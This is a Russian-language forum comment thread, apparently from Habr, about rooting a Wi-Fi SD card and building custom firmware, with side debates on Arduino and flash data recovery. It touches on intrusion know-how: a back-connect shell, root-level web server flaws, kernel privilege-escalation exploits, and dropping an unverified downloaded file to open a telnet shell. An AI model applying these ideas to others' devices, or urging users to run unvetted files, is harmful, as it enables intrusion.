                      Чистая AVR — это микросхема без обвязки, Arduino — это AVRка с обвязкой, бутлодером и удобно выведенные входы/выходы. Мешает то что не у всех есть голая аврка, программатор, а так же желание много паять, в то время как в ардуинку можно вставить и проверить что-то. Да и ардуинки бывают разного размера, та же pro mini считай почти голый проц на платке, к которой удобно подпаяться.
                      • 0
                        Ключевые слова «умеют» и «проверить». Надо не стоять на месте, надо учиться тому, что не умеешь. Это же по сути устройство для тех, кто хочет заниматься радиотехникой, но ленится хоть что-то делать сам. Для тех, кто просто делает какие-то эксперименты. Программатор, обвязка и бутлоадер — это не более чем оправдание своей лени. Программатор для AVR и не нужен по сути, он делается на коленке. Какая обвязка? Один конденсатор? Бутлоадер? Никто не мешает зашить в AVR бутлоадер. И никто не мешает использовать корпус/плату, где удобно подпаяться, хотя в итоговом устройстве это явно лишнее.
                        • 0
                          Да понятно что никто не мешает это всё использовать и сделать свою ардуинку, просто не всем это нужно.
                          Я тоже самое могу сказать к примеру про создание сайтов — зачем ставить готовую CMS, надо не стоять на месте, надо учится и писать свою CMS каждый раз под каждый новый проект.
                          • +1
                            Сравнение с CMS совсем некорректно, готовые не занимают собою всё место на сервере и не стоят больших денег. Это можно сравнить скорее с Lego Mindstorms.
                            • 0
                              Arduino много места не занимает и стоит в общем то не дорого. Имхо вполне нормально сравнение. Сейчас кто нибудь придет и вообще скажет что AVR зло и надо на транзисторах собирать свой процессор, двигаясь дальше.
                              Arduino одна из лучших штук, случившаяся в радиолюбительстве, т.к. без особых трудов (ЛУТ, пайка, прошивка, поиск компонентов и т.д.) каждый может просто и быстро поморгать светодиодом и двигаться дальше, не говоря уже про кучу компонентов, которые можно просто вставить в ардуинку.
                              • +1
                                Когда микроконтроллеры дома содержат уже полтора десятка различных устройств, начинаешь думать иначе.
                              • +1
                                Камраден, вы говорите ерунду. Я беру микросхему, например atmega8535 в DIPе, вставляю её в матрац с дырками, подключаю программатор и ваяю схему как мне удобно. Можно вообще всё с одной микрухой делать. Для колхоженья можно конденсатор припаять к ногам. Дешевле и проще любой ардуинки.
                                • +1
                                  Поймите, что не все знают что вообще такое avr/atmega/dip/конденсатор и т.д. Они видят штуку, которую можно вставить в комп и без наряга сделать то, что нужно.
                                  Почувствуйте разницу:
                                  1) купить ардуинку, вставить её в комп и залить код через IDE — вуаля работает
                                  2) купить атмегу и рассыпуху, взять матрац с дырками, всё это вставить друг в друга правильно, купить программатор, подключить его, настроить IDE (для своей оси и архитектуры) и узнать как правильно прошивать, а потом «нарисовать» плату, сделать её (попутно узнавая что еще надо докупить), напаять кучу нужных и не очень элементов — вуаля работает (если не спалили раньше).

                                  А дальше, захотели расширить фунционал, а ноги развели не все и начинаем заново для 2 пункта или просто надеваем готовый шилд для 1 пункта.

                                  Да, дороже, но в разы проще и удобнее, при этом суммарная стоимость вхождения будет на порядок ниже (посчитайте сколько стоит ардуинка и сколько надо добра закупить, если собрать её самостоятельно). Не у всех даже паяльник есть дома.
                                  • –1
                                    Никто не против монтажек. Мы против костылей!

                                    Когда я начинал, то никаких доков на русском не было. Всё, включая программатор, делали сами. И ничего, живы…
                                    • 0
                                      Arduino не костыль, а среда разработки с удобной платкой прототирования и в целом законченный коммерческий продукт. Я даже не вижу ничего плохого в том, чтобы использовать её же в конечном продукте, если это штучная вещь.
                                      • –2
                                        Пользуйтесь чем удобно. Дети в песочнице играют в машинки. Мы говорим, у нас есть настоящая мощная машина, которая позволяет ездить везде. Детвора говорит, что им достаточно машинок. Ну играйте, кто ж мешает. Проблема в том, что все на этом и останавливаются.
                                        • +1
                                          Arduino — игрушечная машинка, а отдельно проц из неё (или аналогичный) — сразу вездеход?
                                          • +2
                                            Подход — игрушечный. Никогда не думали, почему ортодоксальные электронщики против ардуино? ДиХальт, Кластер (который затеял холивар), я?

                                            Я не против монтажек для прототипирования. Я трижды за — готовая монтажка, и пиши себе код. Я против избыточного упрощения. У меня у самого валяюьтся датчики, шилды к ардуино, но я делаю всё сам и своими руками.
                                            • +1
                                              Никогда не думали, почему ортодоксальные электронщики против ардуино?
                                              Потому же, почему ортодоксалыне противники автоматической коробки передач?
                                              • +2
                                                Потому же, почему ортодоксалыне противники автоматической коробки передач?


                                                Посмеялся. Скорее ардуино можно сравнить как учится ездить на картах по треку и учавствовать в формуле 1. И там и ам спорт, но где выше ставки?

                                                На самом деле, давайте не будем ссориться и спорить, ставить друг другу минусы и т.п. Каждый выбирает по себе. И если вам нравится Ардуино — пользуйтесь ей на здоровье! Главное чтобы костюмчик сидел!
                                                • +1
                                                  Я сторонник полного кастома и миниатюризации)



                                                  Просто начальный наезд был не в тему, а холивар пошёл в сторону «у кого паяльник длиннее»
                                                • +2
                                                  >Скорее ардуино можно сравнить как учится ездить на картах по треку и учавствовать в формуле 1

                                                  Хреновая аналогия, если честно. И на картах, и в Ф1 от пилота требуется лишь одно: рулить по заранее подготовленной трассе. Отличается лишь конструкция болида и скорость. Я понимаю, что вам очень лестно сравнивать себя с гонщиком именно Ф1, но они как раз фигачат «на всем готовом», им даже колеса меняют и заправляют специальные люди ;)

                                                  Я бы тогда уж сравнил так: с одной стороны езда по заранее известной и подготовленной трассе, где каждый поворот выверили до тебя, каждую кочку сгладили, и абсолютно все, не относящееся к непосредственно рулению, за тебя делает кто-то другой (разработка на ардуине, а также любые трековые гонки, включая Ф1), а с другой стороны — все сам, все под контролем, и тут тебе не только рулить, но и траекторию самому выбирать, и колесо менять самому, и ремонт, и еще кучу всего (разработка «с нуля», а также затяжные ралли типа «Париж — Дакар»). Как-то так.
                                                  • +1
                                                    Пусть так. Мир. Дружба. Жвачка
                                                    • 0
                                                      >Мир. Дружба. Жвачка

                                                      Я в детстве любил BomBibom, а вы? ;)

                                                      • +1
                                                        А я Турбу и Love Is
                • +1
                  Потому что в лопату воткнул и проверил, а вокруг микросхемы с ноготок надо минимум сутки плясать
                  • 0
                    Я не говорю про «проверил», с этим не поспоришь, но многие делают на ней именно уже законченные устройства. И про «сутки» плясать никак не соглашусь, это в первый раз если только.
                    • +2
                      >Я не говорю про «проверил», с этим не поспоришь

                      А в том комментарии, к которому вы изначально прицепились «не перестаю удивляться ардуинщикам», говорится, внимание: «Надо автора попросить попробовать». То есть именно проверить. Ну и чего вы тогда прицепились? Красную тряпку увидели — изображение ардуинки, да так, что буквы перестали замечать?
                      • +2
                        Вот жаль я вам не могу плюсик поставить, кармы мало.

                        Времени, потраченного на чтение переписки выше автору хватило бы на то, чтобы собрать схему по картинке, залить скетч из примеров, включить карту и отписать сюда о результате. Никто не предлагает собирать обвязку на ардуине. Но в качестве мгновенного прототипирования она незаменима.

                        Я часто новые идеи за 10-20 минут собираю на ардруинке. Заработает — есть смысл рисовать платку, травить, паять, писать код на Си, может быть даже на АСМе. Не заработало или заработало не так? Ну и О, потрачено в 2 раза меньше времени, чем на одну чашку чая.
                      • +1
                        В таком ключе, я за ардуино. Но когда мне говорят о проектировании на ней… Впрочем, после армов возвращаться к авр как-то желания нет.
    • +1
      Это праздник какой-то! Блютус, в принципе, можно связать с китайским приемником за пару баксов и через UART over BT рулить чем угодно. Главное теперь проделать с этой карточной то же, что и автор статьи.
    • +1
      Только в описании на официальном сайте не смог найти инфу про емкость флешки, так что похоже что это просто SDIO модуль с WiFi и BT, без памяти. А без памяти оно нафиг не нужно.
  • +5
    Нужно научить устройство присоединяться к беспроводному модему и заливать фотографии на какой-нибудь хостинг с неудаляемой историей. Фотографическая машина правды готова и никакие «настойчивые требования» удалить фотографии больше не страшны.
    • 0
      Можно смело удалять все фотки, главное чтобы физически флешку не уничтожили. Потом ничего туда не записываем, вставляем в комп и чем нибудь вроде R-Studio сканируем и восстанавливаем все фотки. Лет 5 назад на ноуте друга процентов 80% инфы восстановили после двух форматирований (ламерские попытки переставить винду). И совсем недавно несколько карт памяти от телефонов которые внезапно «перестали читаться», почти 100% восстановление, были несколько непонятных файлов, которые не расползались.
      • 0
        С флэшпамятью это не всегда срабатывает, т.к. (если не вдаваться в детали) блоки периодически «переписываются». Это сделано, чтобы продлить срок службы флешки. Кстати, была статья об это и на хабре.
        • +1
          >>Потом ничего туда не записываем
          • 0
            Это не поможет. Перезапись блоков реализована на уровне контроллера. Как только подается питание, контроллер решает, куда переместить тот или иной блок или зачистить его.

            Не поленился, нашел стутью, о которой упоминал выше. Процитирую:
            Результатом работы индустрии над повышением эффективности памяти SSD стало то, что большинство современных флэш-драйвов имеют встроенные в прошивку программы, которые регулярно и автоматически выполняют процедуры «самоочищения» или «сбора мусора». В результате этих санитарных процедур происходят постоянное затирание, изменение и перенос тех файлов, которые помечены системой как уничтоженные. Причем процесс этот начинается без всякого уведомления и очень быстро, почти сразу после подачи на чип питания. От пользователя не требуется никаких команд, а флэш-драйв при этом не издает никаких звуковых или световых сигналов, чтобы проинформировать пользователя о начале процедуры очистки.

            • 0
              Ну так это ссд, а не флешки.
              • 0
                По личному опыту могу сказать, что разницы тут нет.
                Да и механизм работы у них, если не вдаваться в тонкости, одинаковый.
                • +5
                  Механизм ротации страниц, блоков и банков на флешках запускается при записи в них информации. При удалении файлов же в ФС FAT мы только вносим изменения в системные таблицы, а сами области памяти, где хранятся файлы остаются не тронутые и запись в них производится, когда на это место записывается новая информация, либо применена программа достоверного стирания. Контроллеры флешек не такие умные устройства и работают на уровне блочного устройства, уровень ФС они не трогают, служебные таблицы ФС они не разбирают и по этому не могут знать какие области памяти востребованы, а какие нет. Исключение только в случае новой флешки, которую ещё не забивали данными под завязку. По этому ротация может работатать только в процессе записи в ячейку. Да и после ротации у тебя логический адрес «сектора» остаётся без изменений.
                  Кароче, Р-Студия отлично вынимает и с флешек =)
                  • 0
                    Хм… Надо будет проверить детальнее. Спасибо.

                    У меня как раз было дело с новыми флешками (не SD карты) на 32 гига. Честно говоря Р-Студию не пробовал, но testdisk и еще пара программ далеко не все данные нашли, даже при глубоком сканировании. (Вначале думал, что флешки с браком, но тест опровергнул эту мысль.)
  • +3
    Огорчился, когда увидел что это перевод :(

    PS: можно было не мучаться с выкачкой busybox'а, бэкконект шелл можно и на перле написать
    • 0
      Почему огорчились что это перевод?
      • +2
        Я наоборот обрадовался, что перевод, т.к. читалось на одном дыхании. Точнее, даже, удивился, что это перевод :)
  • 0
    Эх… туда бы GPS модуль… :)
    • 0
      А существуют на столько мелкие, да еще и чтобы ловило хорошо?
      • 0
        В этом и проблема… Но можно же помечтать ;)
        • 0
          Можно сделать tethering gps со смартфона на эту карточку.
          • 0
            Это понятно но суть именно в размерах. А если смарт с собой то можно и без карточки все сделать. Собсна сейчас и делается таскером на смарте…
    • 0
      В принципе есть и такое. Для стареньких зеркалок без GPS это было бы действительно позитивным
  • –1
    Классно было бы, если бы была подобная Compact Flash.
    Большинство зеркалок используют её.
    • 0
      Судя по гуглу, есть переходники с CF на SD, а в карточке нет ничего особенного, чтобы вдруг не заработало. Хотя вскорости можете потерять немного наверное.
      • 0
        В скорости потеряю довольно много.
        Это критично для фотографирования серии снимков в RAW
        • 0
          Жаль. У меня просто никогда не было фотоаппарата с CF, так как спервы мыльницы, потом чуток посерьезнее fz50, потом мелком pentax k-5 и nikon 3100, теперь для дома g3 и везде SD/SDHC были/есть. Да и все новые профи зеркалки вроде бы уже слотами под карты SD формата комплектуются.
        • 0
          Судя по отзывам, у подобных карточек очень маленькая скорость передачи по WiFi, так что RAW'ки гонять будет достаточно проблематично.
          • 0
            Пусть хоть жпг шлет. Для «посмотреть на большом мониторе» хватит.
            • 0
              Джипеги тоже разные бывают ) Снимок в 22 мегапикселя с хорошей резкостью может быть даже больше 10 мб
    • 0
      Это какое такое «большинство» :) ??? Зеркалки с CF перестали выпускать лет эдак 5 назад :)
      • 0
        В потребительском сегменте — да, но не в профессиональном.
        • +2
          5D работает с SD картами, CF осталась как опция. Современные UHS SD карты разгоняются до 300 мегабайт в секунду, CF rev. 6 только 167 метров. Есть вариант CFast на SATA, но что-то ни в одной камере его не понимают.
          • 0
            Если бы ещё производители ставили нормальные контроллеры в зеркалки. А то вон перевели 6D на SD, написали UHS-1. А по факту там контроллер на 40мб/сек стоит :( Экономят на всём.
            • 0
              Да уж, есть такая беда…
          • 0
            Для SD максимум 100 МБайт/сек, при норме 50...75 МБайт/сек. Для СF это обычная скорость.
            • 0
              Откройте для себя мир UHC карт.
              • +1
                Я именно про UHC и писал — 50..100 МБайт/сек при среднем 75.
                А UHC-2 с его теоретическими 312 МБ/сек только в этом году появился на рынке и немного отличается контактами (должен поддерживаться оборудованием).
        • +1
          Не смешите в 1Dx уже был SD :) а это было дааавно… То, что в пятьдвак не всунули (5 лет назад) дык это просто лопухнулись… CF морально устаревший стандарт, никто новинки под него не выпускает… только в качестве обратной совместимости…

          Или 1Dx и M9 это «потребительский» сегмент? ;)))
      • 0
        Ну может не большинство
        но тем не мене очень много:
        у кэнонов это 7D, 40D, 50D, 1D X,
        еще есть никоны, одна модель Leica…

        Кроме того, я уверен, что если я в свой 7D поставлю карточку SDHC через переходник, то я сильно потеряю в скорости.
        • +1
          Ну что вы в самом деле:

          7D, 40D, 50D — самый новый из них 7D — 4х летней давности…

          У лейки на CF это M8, но это 2006 год :) нет уже CF, почила, туда ей и дорога…
      • НЛО прилетело и опубликовало эту надпись здесь
  • 0
    А где заказывали? Можете ссылочку дать?
    • 0
      Меня за ссылки уже 1 раз в read only пустили. Поэтому просто скажу что на aliexpress, обошлась примерно в 51$ (16Gb версия) + кард ридер в подарок (не понятно зачем, так как в комплекте с картой уже идет вполне удобный), НО в местных магазинах (московская область) эта же самая карточка продается по примерно той же цене (если не считать откровенных барыг), возможно у вас будет дороже или вообще не найти.
  • 0
    А правда пишут, что работать будет только в совместимых устройствах?
    • 0
      Честно говоря я не понял как может быть совместимо или несовместимо. Для фотоаппарат это обычная карта памяти. Возможно имеется в виду что питания фотика может не хватить для этой карты.
      • +1
        я подумал про картридер через блок питания в розетку… :)
  • +1
    Теперь осталось хакнуть прошивку фотоаппарата, пробросить WiFi на фотик, и вылезти с него в инет. Правда тут геморроя уже будет побольше…
    • 0
      Хаки прошивки некоторых фотоаппаратов уже давно есть )
      Теоретически можно и без хака научить эту карту постить фотографии в соц сети, например, помеченные 5 звездами (функция есть во многих фотоаппаратах, данные читаются из exif).
      Только толку от этого будет мало, легче через смартфон это сделать.
    • 0
      И запустить в интернете браузер с Doom'ом, ибо просто играть в Doom на фотоаппарате уже не интересно.
      • +1
        А мсье знает… ;)
      • 0
        Арканоид на кеноне пока только видел, doom`а ещё не видел :)
        • +1
          • +3
            Купить это чудо, по уверению Price.Ru, можно уже за 670 американских рублей. Странно, я думал, что оно будет стоить пару тысяч. 2.1 мегапиксельный сенсор, 1792x1200. Режим сохранения несжатых кадров, поддержка внешней вспышки, ну и прочее.

            Судя по всему, есть тенденция встраивать операционные системы во все, что имеет экран. Наверное, очередь за часами.

            Надеюсь BlueTooth пробьет себе дорогу. Это, если кто-то не знает, «технология радиосвязи ближнего диапазона (до 10 м)

            Эх, прям в машине времени посидел.
            • 0
              Да уж, 2001 год у этой блого-записи. :)
  • +6
    Окей, заказал карту. Через пару месяцев можете ожидать более удобное и опенсорсное решение для обмена контентом с компом и мобильными устройствами! В комплекте SMB, FTP, нормальная веб рожа и SSH шелл для любознательных. А так же клиент для Android с кучей плюшек. Когда докуплю мак, сделаю приложение для iOS.
    • 0
      Ждемс, только вот веб морда какая будет и главное зачем? Если как минимум FTP есть и клиенты (хоть и не самые удобные) под iOS и Android.
      • 0
        Да хотя бы настройки какие-то системные сделать. Лазать в конфиг файлы не алё вообще. Да и например моей девушке лазать по FTP совсем не гут, во время работы либо монтировать SMB, либо проще через браузер ей глянуть.
      • 0
        Кроме того у меня в данный момент нет технической возможности сделать приложение для iOS, а у моей девушки, которая фотограф — iPad. Так как весь функционал будет делаться в первую очередь для неё (чтобы не таскать ноутбук на фотосессии), то будет веб-рожа. Адаптированная под мобилки, планшеты и всякие ретины, естессно.
        • 0
          iPad Camera Connection Kit не выручает?
          • 0
            Это лишние телодвижения.
    • 0
      Было бы супер!
      Кстати, как идея:
      Если на эту малютку влезет dcraw (просто бинарник можно, из консоли он работает прекрасно), можно организовать отправку превью из RAW файлов на планшет (смартфон). Превьюшки будут летать быстрее.
      На планшете можно выставлять рейтинги и помечать на удаление с дальнейшей синхронизацией с картой. Рейтинги можно класть в xmp файл на флешку, чтоб они потом подхватились другими программами.
      Если что пишите, возможно с чем то помогу, поучавствую в тестировании.
      • 0
        Про dcraw уже подумал и немного изучил вопрос. Как только получу флешку и начну что-то делать — напишу пост на хабр, запилю трекер и прочую социальщину для тестеров и помощников.
        • 0
          dcraw с ключиком -e не проявляет RAW а вытаскивает из нее вшитую превьюшку, которую можно направить либо в файл, либо в stdout. По достаточно быстро, даже на слабом железе. Под arm есть сборки.
          Я сейчас вообще работаю над настоящей проявкой RAW'ок на планшетах, думаю моя софтина вместе с вашей составят отличный тандем для фотографа )
          • 0
            Кстати, уже есть RawDroid под Android. Но там UI упоротый. Могу поконсультировать на тему UI.
            • 0
              RawDroid тупо вытаскивает вшитую jpg превьюшку из RAW. У меня же полноценная проявка, с настройкой экспозиции, баланса белого, кривых и пр. Как это делают «большие» редакторы типа Lightroom.
              • 0
                Ммм, круто!
                • 0
                  Правда все работает так, что мой проект возьмет наверное премию «костыль года» )
    • +1
      Как успехи?
      • +2
        По-тихоньку. Инсталлятор удобный делаю. FTP, Telnet работают. С веб мордой буду скоро разбираться.
        • 0
          А скажите, эта карточка с её возможностями не может приблизить меня к автономной беспроводной общедоступной сети видеонаблюдения, о которой я спрашиваю тут?
          • +1
            Карточка очень сильно нагревается при долгой работает. Дольше 10 минут её лучше не использовать в режиме точки — начинаются всяко-разные глюки.
            • +1
              Пассивный радиатор? Особенно на вечер или вообще зимой.
              • 0
                Хз, только если разбирать карточку. А тогда она уже не карточка и лично для меня интереса не представляет. Так что в этом направлении не копал.
                • 0
                  Видимо доя подобных задачь придется делать медный корпус и надеяться что устройство, в котором стоит карточка, хорошо рассеет тепло.
  • 0
    О, на старенький ковон д2+ через рокбокс так и интернет, наверно, можно провести!
    • 0
      НУУУ чисто теоретически через SD-slave можно и сетевую карту эмулировать и пустить устройство в сеть =)
  • +1
    Такое бы с EYE-FI провернуть…
  • 0
    Пост можно закинуть в хаб перлистов просто сменив заголовок на «детские ошибки безопасности в веб-приложениях на перле».
    • +1
      Он уже в хабе Perl. Да и ошибки не специфично перловые, на любом языке такое можно наговнокодить. Но нам же лучше, что сделанно именно так. Хотя запуска скрипта вполне бы хватило.
  • +1
    Почти уверен, что эту штуку можно относительно легко без хоста запустить. Народ не совсем то пробовал.
    • 0
      Прошу пояснения.
      • +1
        Я практически уверен, что там хватит тактовой частоты или вообще притяжки сигналов к уровням по-умолчанию. Протокол SD весьма примитивный и заморачиваться с определением хоста было бы странно. Хотя бы потому, что хост не ожидает, что инициализация карты будет выполняться секунды (время загрузки встроенной системы). Поэтому было бы логично стартовать при появлении пассивного состояния (питание + снятие сброса + активное состояние на входах), тогда к моменту инициализации карты встроенная систему уже будет готова. Короче оверкил это был бы и напрасная трата ресурсов.
        • 0
          В ваших словах есть рациональное зерно. Надо проверять. Вы читали выше проблемы с инициализацией?
          • +1
            Да. Но, как говорил, у SD несколько режимов работы. Например, не все контакты обязательны к использованию. Но там же есть и всякие DETECT пины. Возможно их хватит, чтобы внутренний контролер устройства в слей переключился (я так понимаю все подозревают, что проблемма в этом).
            И в любом случае сейчас есть 8-выводные контроллеры на Cortex-M3 (да, там даже AVR'а убогого хватит), которых выше крыши хватит для инициализации карты. Это даже если в лоб решать — посылкой инициализирующей последовательности. Будет плюшка в габаритах самой карты SD и стоимостью в 200 рублей.Неужели никто с железом нормально работать из энтузиастов не может?
            • 0
              Похоже, просто ни у кого из железячников нет данной карточки. Имея ее я бы в первую очередь поковырял в сторону автономного запуска, но карты нет и самое обидное, не особо получается убедить себя, что она мне нужна кроме как на «поиграться» день-два. :)
  • +1
    Я тут подумал, что наверное это идеальный вариант обмена файлами с моим домофоном без усложнения его схемы. Надо будет купить такие на пробу.
    • 0
      Кстати, действительно! А будет ли нормально адресовать все 16 гигов из-под FAT?
      • 0
        Да вот я тоже думаю. Вроде как тамошней библиотекой под AVR и SDHC не поддерживается… Это проблема :(
        • 0
          А использование других библиотек уже рассматривали? Вроде как больше выходов не остаётся =(
          • 0
            Думаю, проблема в размере адресного пространства, но можно попробовать форматировать SD карту в FAT, сделав раздел не более двух гигабайт. Интересно, встроенный линукс не будет будет на это ругаться?
            • 0
              Хм, я думаю, будет — у него, скорее всего, там жилище на отдельном разделе =D И вообще, нужно будет смотреть, когда будет доступен хотя бы вывод cat /proc/partitions.
            • 0
              Кстати, подошла бы карта из коммента выше. В неё можно что угодно вставить, хоть те же microSD 2Gb =)
    • 0
      Немного не в тему, но может вам реализовать заливку файлов по сети, раз уж домофон к ней подключен? Да, не быстро, но и спешить то некуда.
      • 0
        Так это всё реализовано :) Я тут подумал даже не об увеличении скорости, а о том, что устройство можно пустить в широкие массы, если там сразу будет Wi-Fi.
        • 0
          Дороговато слегка выходит с оглядкой на массовое производство. Кажется, проще туда пхать TP-Link TL-WR703N китайский за $17 вместо $50 за сабж. Разве что добавить опциональную поддержку WiFi SD…
          • 0
            В общем-то да… Просто это из тех случаев, когда видишь новую игрушку, и ищешь хоть какой-то повод её применить.
  • 0
    Поиск конечно увлекательный, да ещё и повезло что вебсервер под root работает.

    А если б не от root'а — можно ли было бы его как-то получить?

    Хотя и без него можно много интересного натворить с такой железякой.
    • +1
      Не думаю, что там самое последнее ядро. Как по мне, какой-нибудь из эксплоитов поднятия прав мог бы подойти, только кросс-компильнуть его надо было бы =) Да и учитывая саму дырявость кода — вполне возможно, что можно было бы найти ещё дырки в чём-нибудь, что-таки работает от рута.
  • 0
    А могут все эти Transcend WifiSD, PQI AirCard и прочие работать как wifi-клиенты, а не собственную точку поднимать, к которой коннектится надо?
    • +1
      Да, могут. У них 2 режиме работы. Как точка доступа, когда с ним надо подключать устройство, либо как клиент в сети, можно до 3х точек доступа прописать, к которым надо цепляться.
      • 0
        Спасибо.
  • 0
    В магазинных отзывах все жалуются на очень маленькую скорость передачи данных, через wi-fi. Вы замеряли скорость?
    • 0
      У меня около 2МБайт/с, т.е. фотка примерно на 3-4 секунды появляется (около 7МБ в среднем фото весит). Но у меня роутер работает на скорости 54МБит/с (802.11b/g если память не изменяет) из-за кучи древних устройств в квартире. К примеру пересобрал недавно NAS на rk802, он подключен к роутеру проводом, внутри между хардами скорость 10-20 Мбайт/с, а вот туда/сюда инфу по WiFi гоняю (ftp/smb/rsync) — выше 2МБайт/с не поднимается.
  • +2
    Ну для начала простенькая разминка для тех, кто хочет поковырять карту, но не хочет паять хардварный терминал:
    качаем файл rghost.ru/48541742
    закидываем его в корень карты
    карту вставляем в картридер включенного компьютера.

    И имеем на 23 порту стандартный telnet-терминал.
    Проверено на прошивках 1.6 и 1.8

    PS. В случае работы точкой доступа карта имеет ip 192.168.11.254.
  • 0
    Подскажите пожалуйста, как реализовать синхронизацию содержимого карты с каким либо cloud хранилищем (google drive напр.)?

    Хочу закидывать новую музыку в облако, чтобы она автоматически появлялась в автомобиле (в машине установлен wifi-hotspot).

    Спасибо.
    • 0
      Писать скрипт, который будет авторизироваться в хранилище и копировать от туда новые файлы. Самый простой вариант найти хранилище с FTP или WebDAV доступом, монтировать через fuse например и rsync-ом сливать (главное найти эти утилитки под карточку, openwrt вроде еще не портанули, чтоб попроще было).
      Можно попробовать поглядеть что Ubuntu One предлагает, там клиент на питоне (или был, или память подводит), можно его попробовать завести на карточке.
      • 0
        с бинарниками под карточку пока тяжело, а нормально откомпилить исходники у меня не получилось.
        хотя вод здесь есть неплохие инструкции.
        видимо прийдется подождать немного

        в любом случае, спасибо :)
  • 0
    Кто-нибудь, объясните пожалуйста, почему когда я закидываю файл с компьютера на флешку по usb, захожу на флешку телнетом и не вижу своего файла? Как сделать его RO? Примонтировать целиком раздел на флешку в ro не помогает.

Только зарегистрированные пользователи могут оставлять комментарии. Войдите, пожалуйста.